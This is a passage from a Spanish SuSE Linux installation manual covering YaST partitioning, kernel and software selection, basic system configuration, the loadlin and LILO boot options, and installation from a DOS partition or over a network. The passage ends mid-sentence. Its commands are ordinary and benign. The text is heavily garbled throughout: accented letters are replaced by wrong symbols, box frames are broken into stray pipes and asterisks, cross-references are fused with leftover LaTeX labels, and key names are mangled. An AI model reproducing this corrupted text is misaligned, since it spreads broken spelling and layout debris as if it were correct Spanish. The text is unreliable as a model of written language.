Seleccione ahora `Nueva instalaci≤n de Linux'.
Antes de comenzar a particionar por cuenta propia, se recomienda consultar
el apartado 2.8 en la pßgina 70Particionar para principiantessection.2.8,que
contiene mucha informaci≤n adicional.
2.2.5 Particionar y formatear el disco duro
YaST notifica ahora la existencia de un disco duro. Si hay alguna zona
''libre'', YaST lo notarß y propondrß usar esta zona del disco para Linux (
`┐Utilizar zona libre?').
________________________________________________________________________________________________________*
*________||
| Si ya existe una partici≤n de swap no activada ~ tal vez procedente de una *
* ||||
| instalaci≤n anterior ~ YaST se darß cuenta de ello y preguntarß si se debe *
* |||
| *
* |||
| usar esa partici≤n, para que pase a formar parte del sistema. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Para ajustar las particiones, proceda de la siguiente manera:
`Particionar' ~ Para la primera instalaci≤n de SuSE Linux o para su cam-
bio completo hay que elegir generalmente la opci≤n `Particionar'. Es
mejor no seleccionar `Configurar LVM', salvo que se sepa bien lo que
es un Logical Volume Manager y que lo necesite.
`SI' ~ Si se afirma, YaST procede a particionar automßticamente y entonces
se puede continuar con el apartado 2.2.7 en la pßgina 38Elecci≤n del
software bßsicosubsection.2.2.7.
`No' ~ Si se contesta negativamente (`No'), se puede empezar a particionar
de manera interactiva.
Figura 2.7: YaST ~ Particionar disco
Si YaST no encuentra espacio libre, aparecerß la instrucci≤n `Usar todo el
disco _duro';_ en_esta_ventana_se ofrecen dos posibilidades (para recordar: ____
con |T____a|b, |____|o |!___|se puede posicionar el cursor, mientras que con |_____-|se
ejecuta la selecci≤n):
36
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
`Particionar' ~ Usted mismo genera las particiones; es obligatorio elegir
esta opci≤n si se quiere seguir usando otro sistema operativo ya instalado,
aparte de Linux.
_______________________________________________________________________________________________________________________||
|||||||| Si se elige `Todo el disco', se perderßn ítodos los datos que estΘn en ||| |
|||||||| este momento en el disco! || |
||||||||_______________________________________________________________________________________________________________||_
`Todo el disco' ~ YaST comienza ~ despuΘs de una confirmaci≤n de
seguridad ''en rojo'' ~ a particionar y formatear por sφ mismo el disco
duro.
Esta opci≤n se usa solo en el caso de querer tener ·nicamente SuSE Linux
en la computadora y de no querer ocuparse del tema de particionar.
íSe borrarßn los demßs sistemas operativos eventualmente presentes!
Para hacer las particiones, YaST sigue la siguiente estrategia:
o genera una partici≤n /boot (mφnimo 2 MB o 1 cilindro),
o una partici≤n de swap (el doble de la cantidad de RAM pero no mßs de
128 MB) y
o el resto como una gran partici≤n, que se monta bajo `/' como parti-
ci≤n ''root'' (directorio raφz).
Posibles problemas
o Es posible que se presenten problemas cuando la computadora lea de nue-
vo la partici≤n. En este caso YaST mostrarß un recuadro de advertencia de
color rojo y pedirß el reinicio de la mßquina. Proceda entonces a reiniciar
la computadora y deje de particionar el disco la proxima vez que entre a
YaST .
o No hay suficiente espacio en el disco duro. El apartado 2.6.1 en la pßgi-
na 57Hacer espacio para Linux (particionar)subsection.2.6.1 informa so-
bre la posibilidad de usar el programa fips de DOS para hacer espacio.
2.2.6 Comenzar la instalaci≤n del software
El disco duro estß preparado ahora de tal manera que se debe decidir quΘ
software instalar.
Ahora tanga un poco de paciencia: Se deben leer los datos de las series y pa-
quetes desde el medio de instalaci≤n (generalmente el CD). DespuΘs aparece
el men· de instalaci≤n de YaST (ver figura 2.8 en la pßgina siguiente). En
caso de no querer seleccionar un conjunto de software especial (sino el que
estß previsto por defecto), es posible seguir directamente con la opci≤n `Em-
pezar Instalaci≤n' y saltar al apartado 2.2.8 en la pßgina 39Instalaci≤n
de softwaresubsection.2.2.8.
o Para tomar una pre~selecci≤n de software (estßndar, servidor, mφnima,
etc.), seleccione `Cargar configuraci≤n'; ver el siguiente aparta-
do 2.2.7 en la pßgina siguiente. DespuΘs de esta selecci≤n se encontrarß
de nuevo en el men· de instalaci≤n.
*
* 37
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Figura 2.8: YaST ~ Selecci≤n de paquetes
o Ahora existe la posibilidad de seleccionar `Cambiar/Generar confi-
guraci≤n'. Asφ se llega al submen· de la elecci≤n de series, que permite
hacer un ajuste fino. Normalmente no se necesita, ya que la selecci≤n
de paquetes ofrece un sistema completo. TambiΘn se puede modificar o
ampliar en cualquier momento esta selecci≤n ~ incluso cuando Linux ya
se estß ejecutando.
El capφtulo sobre YaST en apartado 3.5 en la pßgina 96Escoger / Instalar
paquetessection.3.5 contiene una amplia descripci≤n de estos men·s y de
todas las opciones que contienen.
2.2.7 Elecci≤n del software bßsico
Se puede entrar en esta plantilla de YaST (figura 2.9 en la pßgina siguiente),
despuΘs de haber seleccionado en el apartado 2.2.6 en la pßgina anterior la
opci≤n `Cargar configuraci≤n'.
Hemos preparado algunas configuraciones.__Se puede navegar por las distin-_________
tas opciones con la flechas |_"|y |_#|y seleccionarlas con |______________L|eertaste. Una
equis (`X') dentro del recuadro de la configuraci≤n significa que Θsta ha sido
seleccionada para reemplazar o complementar los paquetes existentes.
Un asterisco (`*') por detrßs indica que se procederß a instalar esta configu-
raci≤n. Es posible que se instalen otras configuraciones junto con la config-
uraci≤n seleccionada, ya que todas las configuraciones especφficas forman un
sub-conjunto por ejemplo de `SuSE Almost everything'.
`Cargar' ~ Con esta opci≤n se puede a±adir la configuraci≤n seleccionada
a los paquetes ya instalados.
`Reemplazar' ~ Para reemplazar una configuraci≤n instalada por una nue-
va. YaST pide una confirmaci≤n antes de suprimir los paquetes que no
pertenecen a la nueva configuraci≤n.
`Abortar' ~ Cancelar la selecci≤n.
38
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
Figura 2.9: YaST ~ Selecci≤n de configuraciones
2.2.8 Instalaci≤n de software
DespuΘs de todos los preparativos llega el momento de ocupar el disco duro
con el software mßs adecuado.
o Iniciar la instalaci≤n con `Comenzar instalaci≤n'. YaST indica en la
pantalla cußl paquete se estß instalando en el momento y cußntos paquetes
vendrßn a continuaci≤n.
o Seg·n la configuraci≤n seleccionada se piden CDs adicionales.
o Cuando todos los paquetes estΘn instalados, vuelva al men· principal
eligiendo `Men· principal'.
Posibles problemas
o Si la computadora tiene ''poca'' memoria RAM (16 MB), al comienzo solo
se podrß instalar desde el primer CD~ROM. En este caso se pedirßn los
demßs CDs posteriormente (apartado 2.2.10 en la pßgina 43Configuraci≤n
bßsica con YaST subsection.2.2.10).
o Si se presentan problemas durante la instalaci≤n del software, lo mßs
probable es que estos se deban al hardware o al mal ajuste del mismo.
En el caso de los sistemas SCSI, compruebe la longitud del cable y el
terminador. Desconecte los dispositivos externos del bus, sobre todos los
escßneres y pruebe tambiΘn los parßmetros del kernel; los mßs impor-
tantes se encuentran en el apartado 14.3.1 en la pßgina 359Anotaci≤n y
significadosubsection.14.3.1.
En el caso de trabajar con dispositivos ATAPI, consulte el apartado 2.7.5
en la pßgina 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5.
Ahora saque los disquetes y CD-ROMs de los dispositivos, ya que la com-
putadora se iniciarß por primera vez con el sistema instalado. DespuΘs YaST
le guiarß por la configuraci≤n bßsica del sistema. . .
*
* 39
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.2.9 Seleccionar kernel
Se ha transferido el software bßsico al disco duro.
Figura 2.10: YaST ~ Selecci≤n del kernel
; se instalarß un + Kernel especφfico para el sistema y ~ a petici≤n del usuario
~ tambiΘn el gestor de arranque LILO : Seleccione ahora un kernel adecuado
(figura 2.10); por ejemplo:
Kernel o El `Standard kernel', sirve para la mayorφa de los sistemas.
o El `Kernel with SMP-Support' se selecciona para sistemas multi-
procesador
o El `Kernel with APM-Support' incluye soporte para ''Advanced
Power Management'' (gesti≤n avanzada del consumo).
________________________________________________________________________________________________________*
*________||
| En caso de tener un procesador que no es 100% compatible con los *
* ||||
| Pentium de Intel, seleccione `Kernel built for i386 processors *
* |||
| *
* |||
| (use also for 486)'. Este kernel se requiere p. ej. para un Cyrix 686. *
* |||
| En caso contrario es posible que resultan errores como "Kernel panic", *
* |||
| *
* |||
| ver http://sdb.suse.de/sdb/de/html/cyrix686.html. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
YaST procede a copiar este kernel en /boot/vmlinuz y guarda el fichero
de configuraci≤n del kernel en /boot y opcionalmente tambiΘn como /usr/
src/linux/.config. Este fichero describe detalladamente el kernel instal-
ado y los m≤dulos adicionales.
LILO Si estß seguro de que los sistemas operativos (tal vez ya instalados) se pueden
inicializar con LILO (ver figura 3.21 en la pßgina 106`Configuraci≤n
LILO 'subsection.3.7.2), afirme la pregunta con `Sφ'. DOS y Windows 95/98
generalmente no presentan problemas, pero con Windows NT las cosas cam-
bian a veces (ver apartado 4.7.2 en la pßgina 136Windows NT y Linux en un
disco durosubsection.4.7.2).
40
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
El capφtulo sobre YaST (apartado 3.7.2 en la pßgina 106`Configuraci≤n
LILO 'subsection.3.7.2) le informa mßs detalladamente sobre la forma de
pasar por estas plantillas.
2.2.10 Configuraci≤n bßsica con YaST
DespuΘs de la selecci≤n del kernel le llega el turno a la configuraci≤n bßsica
durante la cual se configuran algunos componentes del hardware y del soft-
ware.
Figura 2.11: YaST ~ Selecci≤n del huso horario
o Ahora se puede elegir la zona de tiempo. Aparecerß una lista muy larga Zona de
(ver figura 2.11) en la cual se puede elegir `CET' (ingl. Central European tiempo
Time) si se encuentra en latitudes centro-europeas, p. ej. en Espa±a.
El reloj de la computadora puede estar ajustado seg·n la hora local o
seg·n Greenwich Mean Time (GMT). `GMT' es la opci≤n por defecto;
seleccione `Hora local', si la computadora muestra la hora local.
o Ahora aparecen algunas instrucciones para la configuraci≤n de la red: Configuraci≤n
~ Nombre de la computadora y del dominio (ver figura 2.12 en la pßgi- de red
na siguiente). Si no hay restricciones por parte del + Administrador
de sistema o por parte del + ISP se puede desplegar toda la creativi-
dad buscando un bonito nombre. Para entrar a Internet o usar una red
local, debe cerciorarse de que el nombre sea correcto; p. ej. tier-
ra.cosmos.univ. ~ tierra es el nombre de la computadora y cos-
mos.univ el nombre del dominio (ingl. domainname).
~ ┐Red tipo loopback o red real ? Si la computadora no posee tarjeta
de red se puede indicar loopback y en este caso no harφa falta seguir
en detalle con la configuraci≤n.
~ Si se elige red real , aparecerßn adicionalmente preguntas como:
Cliente DHCP, Tipo de red (para tarjetas Ethernet seleccione eth0 ),
*
* 41
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Figura 2.12: YaST ~ Nombre de computadora y de dominio
direcci≤n IP, netmask, gateway, inetd , portmap , servidor NFS, From -
lφnea para los ''News-Postings'', cliente de red con acceso a un servidor
de nombres (IP del servidor de nombre y YP-Domain), elecci≤n del
m≤dulo del kernel para la tarjeta de red.
Figura 2.13: YaST ~ Selecci≤n del sistema de correo
~ Selecci≤n de sendmail.cf para el sistema de correo (ver figura 2.13);
vΘase tambiΘn el apartado 6.8 en la pßgina 204Vamos a escribir ~
Configuraci≤n de sendmailsection.6.8.
Las indicaciones que se han hecho hasta este momento se graban y
SuSEconfig se encarga de ubicarlas en los distintos ficheros de configu-
raci≤n. YaST se termina y una serie de mensajes sobre el el estado del
sistema pasan por la pantalla. . .
42
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
o DespuΘs de un par de mensajes del sistema y del saludo de "Bienveni- Contrase±a
daΣ parece la pregunta importante por la contrase±a (ingl. Password) de de `root'
`root'. Siempre necesitarß esta contrase±a cuando quiere entrar al sis-
tema como + Administrador de sistema. Se debe elegir esta palabra con
cuidado y recordarla perfectamente. Vigile la diferencia entre may·scu-
las y min·sculas; es mejor evitar los espacios o caracteres especiales si
no se sabe exactamente lo que estos representan. Solo los primeros ocho
caracteres cuentan con la configuraci≤n por defecto.
o YaST anima a generar un ''login'' de usuario. Es conveniente seguir este Login
paso ya que no se recomienda entrar al sistema como `root' para realizar
tareas del dφa a dφa, pero sφ bajo el ''login'' de usuario. InvΘntese un bonito
nombre y corto (sin espacios, no mßs de 8 caracteres), como por ejemplo
tux. íEn cualquier caso se debe recordar la contrase±a que se introduzca!
Figura 2.14: YaST ~ Selecci≤n de las interfaces de modem y mouse
o YaST pregunta si se desea configurar el modem. Si realmente tiene
uno se puede configurar ahora o tambiΘn en cualquier otro momento.
Seleccionando `Sφ', YaST pregunta por el puerto serie de Θste (figu-
ra 2.14). ~ TΘngase en cuenta que los ''Winmodems'' no funcionan (ver
http://sdb.suse.de/sdb/en/html/cep_winmodem.html).
o YaST pregunta si se desea ajustar el mouse. Para hacerlo, se elige `Sφ'
y se selecciona el tipo de mouse de una lista (parecido a figura 2.15 en
la pßgina siguiente). Si hay un mouse conectado al puerto serie, YaST
quiere saber en cußl estß (figura 2.14). TambiΘn se elige este puerto de la
lista.
o Confirmar despuΘs el inicio del programa gpm para cada arranque de
sistema (figura 2.16 en la pßgina siguiente).
Si fuera preciso instalar paquetes desde los CDs restantes (ver apartado 2.2.8 CDs
en la pßgina 39Instalaci≤n de softwaresubsection.2.2.8), YaST lo harφa aho- adicionales
ra. . .
*
* 43
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Figura 2.15: YaST ~ Selecci≤n del driver de mouse
Figura 2.16: YaST ~ Inicio de gpm
o YaST le pide insertar los CDs restantes1 . El ·ltimo CD solo se debe
intoducir si se ha pedido explφcitamente la instalaci≤n de fuentes (ingl.
sources) de alg·n programa ~ por lo general este no es el caso.
o DespuΘs se finaliza YaST y se debe pulsar |______|-.
Su SuSE Linux estß ahora completamente instalado.
_____________________________________________1
Si tiene SuSE Linux en DVD no hace falta preocuparse de nada ya que todo viene incluido en
un solo DVD.
44
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
2.2.11 Entrar al sistema despuΘs de la primera instalaci≤n
Mientras se ejecutan diversos scripts de configuraci≤n en segundo plano, se `root'
puede entrar al sistema como usuario `root'; p. ej. en la consola 1 . Por Login:
detrßs del mensaje "Login:", se escribe root y cuando se pida la contrase±a
("Password:"), se introduce la contrase±a definida anteriormente para el
usuario `root'; esta contrase±a se ha definido en el apartado 2.2.10 en la
pßgina 43Configuraci≤n bßsica con YaST subsection.2.2.10) ~ íNo se debe
confundir esta contrase±a con la del ''usuario de ejemplo''! ~ Respecta al
significado del proceso de ''login'' vΘase tambiΘn el apartado 19.1 en la pßgi-
na 467Hacer login, `root'-Usuario, introducci≤n de Usuariosection.19.1.
El + Prompt del sistema Linux aparece y se puede comenzar a trabajar: Prompt
tierra: #
Por ejemplo, se puede introducir el comando ls -a para ver el listado de los
ficheros en el directorio de trabajo.
tierra: # ls -a
O tambiΘn se puede introducir por ejemplo YaST (yast ) para modificar la
instalaci≤n o administrar el sistema.
tierra: # yast
Cuando YaST (yast ) arranca se pueden generar usuarios adicionales usando
la opci≤n del men· `Administraci≤n de sistema'. Se sigue con la op-
ci≤n `Configurar XFree86TM ' la cual permite configurar la tarjeta grßfica
(ver apartado 8.1 en la pßgina 238Configuraci≤n con SaX section.8.1).
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| En segundo plano se ejecutan scripts de configuraci≤n automßticos (Indi- || |
|||||||| caci≤n de las ''Manual-Pages'', configuraci≤n de perl, etc.); en computado- || |
|||||||| || |
|||||||| ras menos potentes este procedimiento puede durar ~ seg·n el tama±o de || |
|||||||| la instalaci≤n ~ hasta mßs de una hora. Si se llegara a apagar la computa- || |
|||||||| || |
|||||||| dora prematuramente, YaST se ejecutarß automßticamente en el pr≤ximo || |
|||||||| || |
|||||||| arranque del sistema. || |
|||||||| Los mencionados scripts se han ejecutado por completo cuando aparece en || |
|||||||| || |
|||||||| la + Consola9: || |
|||||||| || |
|||||||| Have a lot of fun! || |
|||||||| ____ ___ || |
|||||||| (Cambiar la consola con |A____l|t+ |F___|9) || |
||||||||_______________________________________________________________________________________________________________||_
DespuΘs de la instalaci≤n se pueden efectuar mßs configuraciones; vΘanse los
consejos sobre impresoras, instalaci≤n de hardware adicional e Internet en el
apartado 2.1.17 en la pßgina 28Configuraciones adicionales y trabajo con el
sistemasubsection.2.1.17.
*
* 45
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________|||
| íNunca se debe apagar de golpe una computadora con Linux! Hay que *
* ||||
|| usar la funci≤n de parada de KDM o uno de los comandos presentados en *
* ||||
| el apartado 19.2 en la pßgina 468Apagar y arrancar el sistemasection.19.2 *
* ||||
| *
* |||
| para efectuar una ''parada limpia'' (ingl. Shutdown). En caso contrario es *
* |||
| preciso efectuar una comprobaci≤n del sistema de ficheros la pr≤xima vez *
* |||
| *
* |||
| que si inicia la computadora. Esto cuesta al menos un cierto tiempo e *
* |||
| incluso es posible que el mecanismo de comprobaci≤n no sea capaz de *
* |||
| *
* |||
| recuperar todos los datos. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
46
__________________________________________________________________________2.3.__┐C≤mo_se_debe_arrancar_Linux?_______________*
*______________________
2.3 ┐C≤mo se debe arrancar Linux?
El sistema SuSE Linux estß ahora instalado casi por completo. Lo que
falta por aclarar es c≤mo se desea arrancar SuSE Linux en el uso diario
(+ Arrancar).
El siguiente resumen muestra las principales posibilidades de arrancar Linux.
El mΘtodo de arranque que mßs se adapta a sus necesidades depende del grado
de experiencia que se tenga usando computadoras y tambiΘn del tipo de uso
previsto.
Disquete de arranque: Para arrancar Linux con el disquete de arranque.
Esta posibilidad siempre funciona y no representa ning·n trabajo, porque
posiblemente ya lo ha generado (concretamente en el apartado 2.1.10 en
la pßgina 25LILO : Otra configuraci≤n de arranquesubsection.2.1.10).
El disquete es una buena soluci≤n intermedia si no se tiene en el momento
otra posibilidad o si se prefiere postergar la decisi≤n sobre este tema.
TambiΘn en combinaci≤n con OS/2 o Windows NT, el uso del disquete
de arranque puede representar una buena soluci≤n.
loadlin : La variante con loadlin presupone:
o La computadora tiene que estar bajo DOS en modo real o en el mo-
do virtual del 8086 teniendo activado un servidor VCPI. Un servidor
VCPI proporciona p. ej. emm386.exe . Dicho de otra manera: Se trata
de una soluci≤n que no funciona bajo Unix, OS/2, Windows NT o en
una ventana DOS de Windows 95/98 ~ pero sφ que funciona bien desde
el prompt de MS-DOS o desde el modo DOS de Windows 95/98.
o El ordenador debe tener suficiente memoria libre en DOS: Por debajo
del lφmite de 640 KB hace falta un mφnimo de 128 KB, el resto puede
ser memoria extendida EMS/XMS.
Aunque su instalaci≤n es un poco complicada, loadlin se puede integrar
fantßsticamente en los men·s de arranque de Windows 95 y 98. Esto exige
editar manualmente ficheros de configuraci≤n. La gran ventaja es que no
se modifica el sector de arranque + MBR (ingl. Master Boot Record). De
esta manera, los demßs sistemas operativos no ven mßs que una partici≤n
con anotaciones, como huella de Linux.
Para instalar loadlin , se requieren ciertos conocimientos de DOS y de
Linux. Se debe saber c≤mo generar con un + Editor los ficheros de con-
figuraci≤n necesarios. En el apartado 4.9 en la pßgina 143Configuraci≤n
del mecanismo de arranque con loadlinsection.4.9 hay detalles sobre este
procedimiento. Es posible que se presenten problemas si se equivoca
configurando los men·s de arranque de Windows 95/98; en caso extremo,
ya no se podrφa acceder a la instalaci≤n de Windows. Antes de configurar
los men·s de arranque se debe comprobar que el sistema se carga con un
disquete de arranque de Windows.
LILO : La soluci≤n mßs limpia desde un punto de vista tΘcnico y mßs univer-
sal, es el uso del gestor de arranque LILO que permite seleccionar entre
distintos sistemas operativos antes de arrancar. Su instalaci≤n mediante
YaST es sencilla (ver el apartado 3.7.2 en la pßgina 106`Configuraci≤n
*
* 47
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
LILO 'subsection.3.7.2). Ciertamente LILO tiene que estar presente en el
sector de arranque del disco duro, lo que implica un peque±o riesgo. El
tratamiento de un posible error exige conocimientos bßsicos del proceso
de arranque. Es necesario saber editar ~ por alg·n caso ~ el fichero princi-
pal de configuraci≤n de LILO . TambiΘn es conveniente saber antes de la
instalaci≤n, c≤mo desinstalar de vuelta LILO . Hay mßs detalles acerca de
LILO y del proceso de arranque en el apartado 4.3 en la pßgina 122Re-
sumen de LILO section.4.3. Sigue siendo asφ que LILO representa la
mejor forma de arrancar. Sencillamente se ha de tener en cuenta que la
instalaci≤n de LILO es mßs complicada que, por ejemplo, el uso de un
disquete de arranque.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Hay determinadas versiones de + BIOS que comprueban la estructura del *
* |||
| sector de arranque (MBR) y que emiten ~ por equivocaci≤n ~ la advertencia *
* |||
| *
* |||
| de presencia de virus despuΘs de la instalaci≤n de LILO . Lo mßs sencillo *
* |||
| para resolverlo es entrar en la BIOS y tratar de desactivar la protecci≤n *
* |||
| *
* |||
| antivirus (`virus protection'). ~ Una vez que Linux estΘ instalado es *
* |||
| posible activar esta caracterφstica de nuevo, pero si se usa la computadora *
* |||
| *
* |||
| exclusivamente con Linux tampoco hace falta. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Se puede encontrar una explicaci≤n exhaustiva sobre los diferentes mΘtodos
de arranque y en especial sobre LILO y loadlin en el capφtulo 4 en la pßgi-
na 119Arrancar y gestor de arranquechapter.4 en adelante.
Gestores de arranque adicionales
Por su creciente importancia, algunos fabricantes y comerciantes de gestores
de arranque, tienen en cuenta a Linux. En primer lugar se deben mencionar
los programas System Commander Deluxe o Partition Magic . A parte de
simples ayudas durante el arranque de sistema, estos paquetes tambiΘn ofre-
cen funciones como el cambio de tama±o de particiones (existentes) del tipo
FAT32 o el cambio de FAT16 a FAT32. Estos programas no forman parte de
los CDs y no podemos ofrecer soporte de instalaci≤n al respecto.
48
__________________________________________________________2.4.__Instalaci≤n_sin_soporte_del_lector_CD-ROM___________________*
*______________________
2.4 Instalaci≤n sin soporte del lector CD-ROM
┐QuΘ hacer si no es posible efectuar una instalaci≤n estßndar a travΘs de un
lector CD-ROM? El lector CD-ROM podrφa ser uno de los modelos ''propi-
etarios'' antiguos para los que no siempre existe soporte. TambiΘn es posible
que no se tenga una unidad CD-ROM en una segunda computadora (p. ej. un
portßtil) pero que sφ se tenga una tarjeta Ethernet o un cable PLIP. . .
SuSE Linux ofrece tambiΘn la posibilidad de instalar el sistema en una com-
putadora de tales caracterφsticas:
o Desde una partici≤n DOS (apartado 2.4.1).
o A travΘs de una conexi≤n de red Ethernet tipo NFS o FTP o vφa
PLIP (apartado 2.4.2 en la pßgina 51Instalaci≤n desde una fuente en
la ''red''subsection.2.4.2).
2.4.1 Instalaci≤n desde una partici≤n DOS
┐De quΘ se trata?
Se puede copiar el software de Linux (parcialmente) antes de la instalaci≤n,
en una partici≤n DOS del disco duro, cuando el kernel estßndar no soporta
la unidad CD-ROM o bien, cuando por parte de Linux no existe soporte para
Θste. En el ·ltimo caso, no se podrß usar el CD-ROM con Linux.
Requisito / Situaci≤n
Se trabaja bajo DOS, Windows o OS/2 y se sabe que Linux no soporta el
lector CD-ROM. Por otra parte, hay suficiente espacio en la partici≤n de DOS,
o Windows (3.11 o 95/98) y la computadora tiene suficiente + Memoria.
Paso por paso. . .
Para copiar todos los ficheros deseados en el disco duro, se procede de la
siguiente manera (si no le interesa ir paso a paso, tal vez el fichero ''batch''
lhdsetup.bat en el directorio \dosutils le resulte ·til):
1. Generar un directorio que sirva de traspaso. El nombre no tiene impor-
tancia; en este ejemplo se llama \pepe .
2. Por debajo de \pepe se necesita el directorio suse y dentro de Θste, como
mφnimo, los directorios a1 , images y setup . Estos se necesitan para la
instalaci≤n del sistema Linux base. El ßrbol de directorios necesario se
muestra en la figura 2.17 en la pßgina siguiente.
3. Copiar los ficheros de \suse\a1 del CD 1 en \pepe\suse\a1 , en el
disco duro; si hay mucho espacio en la partici≤n DOS, lo mejor es copiar
todo el directorio \suse a \pepe\suse .
4. Seleccionar en \suse\images un kernel que soporte el hardware. El
fichero \suse\images\readme.dos indica cußl kernel soporta quΘ tipo
de hardware.
Se procede entonces a copiar el kernel en \pepe\suse\images . Un
kernel se compone de 4 ficheros (ver arriba): el kernel sin extensi≤n y
los ficheros con las extensiones .ikr , .inf y .map. Si hay suficiente
*
* 49
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| *
* |
|| *
* ||
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Figura 2.17: Estructura de directorios para la instalaci≤n
espacio en el disco duro, se pueden copiar tambiΘn todos los ficheros,
evitßndose por el momento la selecci≤n del kernel.
5. Por razones de seguridad conviene copiar los ficheros
\suse\images\root y \suse\images\initdisk.gz en
\pepe\suse\images .
6. Copiar \suse\setup\loadlin.exe en \pepe\suse\setup .
7. Por lo demßs, solo hace falta desempaquetar el fichero \suse\setup\root
y copiarlo a \pepe\suse\setup . Para ello use la versi≤n DOS de gzip
del directorio \dosutils del CD:
C:> cd \pepe\suse
C:> gzip -dc < images\root > setup\inst-img
Este fichero es relativamente grande, pero solamente se necesita para
la instalaci≤n base. Una vez que se ejecute el sistema base, se puede
proceder en cualquier momento a instalar paquetes individuales desde la
partici≤n DOS; el fichero inst-img ya no se necesita.
8. Crear ahora el directorio \pepe\suse\setup\descr en el disco duro y
copiar en Θl todos los ficheros del directorio \suse\setup\descr .
9. Si a·n queda suficiente espacio en el disco duro, tambiΘn se puede crear
el directorio \pepe\suse\setup\du y copiar en Θl todos los ficheros
de \suse\setup\du . Estos ficheros no son absolutamente necesarios,
pero mßs tarde permitirßn a YaST efectuar cßlculos sobre el tama±o del
software a instalar o del software ya instalado. Si realmente queda espacio
resultan bastante ·tiles.
10. Ahora ya se tiene todo lo necesario para un sistema Linux base en la
partici≤n DOS del disco, pero todavφa falta el resto del software. Ya
que Usted pertenece al conjunto de personas cuyo lector CD-ROM no
50
__________________________________________________________2.4.__Instalaci≤n_sin_soporte_del_lector_CD-ROM___________________*
*______________________
es soportado por Linux, debe ir instalando todo en porciones: primero
al disco duro, instalar desde allφ con YaST y finalmente borrarlo otra
vez del disco. No hace falta hacerlo de inmediato, pero si ya sabe lo
que quiere, entonces: íAdelante! Cree un directorio bajo \pepe\suse y
copie en Θl los ficheros correspondientes. Todo lo que hay se encuentra
en la descripci≤n de los paquetes o en la documentaci≤n en lφnea del CD.
Ahora se puede comenzar la instalaci≤n como se ha explicado en el aparta-
do 2.2.2 en la pßgina 30A continuaci≤n: La pantalla de bienvenidasubsection.2.2.2.
Si linuxrc pregunta por la Fuente de instalaci≤n (apartado 2.2.3 en la
pßgina 31La base: linuxrc subsection.2.2.3), se debe indicar `Disco duro'
y responder a la pregunta sobre la partici≤n con el + Device correspondiente
de la partici≤n DOS. Esto es por lo general /dev/hda1 o /dev/sda1, si DOS
se encuentra en la primera partici≤n primaria.
En caso de haber adoptado la nomenclatura propuesta arriba, se debe indicar
el nombre pepe en la pr≤xima pregunta sobre el Directorio fuente . La
instalaci≤n contin·a entonces tal como se ha detallado en el apartado 2.2.4 en
la pßgina 35Arrancar YaST subsection.2.2.4. No indique en estas circunstan-
cias `Todo el disco', ya que se borrarφan todos los preparativos.
2.4.2 Instalaci≤n desde una fuente en la ''red''
El soporte no cubre esta vφa de instalaci≤n (ver apartado H.1.2 en la pßgi-
na 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
Solo los usuarios experimentados deberφan usar este medio de instalaci≤n.
┐De quΘ se trata?
La computadora en la cual se quiere instalar SuSE Linux no tiene ning·n
lector CD-ROM y tampoco existe una partici≤n DOS que se pueda usar para
el traspaso de ficheros. Por otra parte, se puede instalar una conexi≤n vφa
red a otra computadora que tenga un lector CD-ROM o en cuyo disco duro
haya una copia del CD, como se ha explicado en el apartado 2.4.1 en la
pßgina 49Instalaci≤n desde una partici≤n DOSsubsection.2.4.1. Ademßs hace
falta copiar del CD-Rom los ficheros .S.u.S.E-disk* al disco duro; bajo
Linux p. ej. con:
tierra: # cp /cdrom/.S* /pepe
tierra: # cp -a /cdrom/suse /pepe
íLa ''otra'' computadora debe ser capaz de ''exportar'' los datos adecuada-
mente!
Paso por paso. . .
1. Comenzar la instalaci≤n del cliente como se ha explicado en el aparta-
do 2.2.2 en la pßgina 30A continuaci≤n: La pantalla de bienvenidasubsection.2.2.2.
2. Seguir los pasos de la instalaci≤n como se ha indicado en el apartado 2.2.3
en la pßgina 31La base: linuxrc subsection.2.2.3 ~ pero:
o Al llegar a la opci≤n del men· `M≤dulos de kernel', cargar el driv-
er de red adecuado (opci≤n `Driver de red'). Esto no es necesario
si se quiere instalar vφa PLIP.
*
* 51
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
o Cuando linuxrc pregunte por la `Fuente de instalaci≤n', selec-
cionar `Red (NFS)' y proceder con la configuraci≤n de red. TambiΘn
existe la posibilidad de instalar vφa FTP.
3. Finalizar la instalaci≤n como se ha explicado en el apartado 2.2.4 en la
pßgina 35Arrancar YaST subsection.2.2.4 en adelante.
Posibles problemas
o La instalaci≤n termina antes de haber comenzado realmente: El directorio
de instalaci≤n de la ''otra'' computadora no se export≤ con derechos de
ejecuci≤n (exec ) ~ se ha de modificar esto.
o El servidor desconoce la computadora en la que SuSE Linux debe ser
